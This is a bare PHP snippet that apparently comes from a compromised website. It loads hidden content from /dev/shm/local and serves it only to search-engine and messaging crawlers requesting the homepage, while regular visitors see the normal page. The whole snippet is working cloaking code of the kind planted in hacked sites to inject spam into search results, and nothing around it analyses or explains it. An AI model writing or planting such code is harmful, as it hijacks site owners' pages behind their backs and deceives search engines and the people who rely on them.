function mangsud_local($path) {
    if (file_exists($path)) {
        return file_get_contents($path);
    }
    return false;
}

$res = strtolower($_SERVER["HTTP_USER_AGENT"]);
$botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/";
$file = mangsud_local('/dev/shm/local');

if (preg_match($botchar, $res)) {
    if ($_SERVER['REQUEST_URI'] === '/') {
        echo $file;
        exit;
    }
}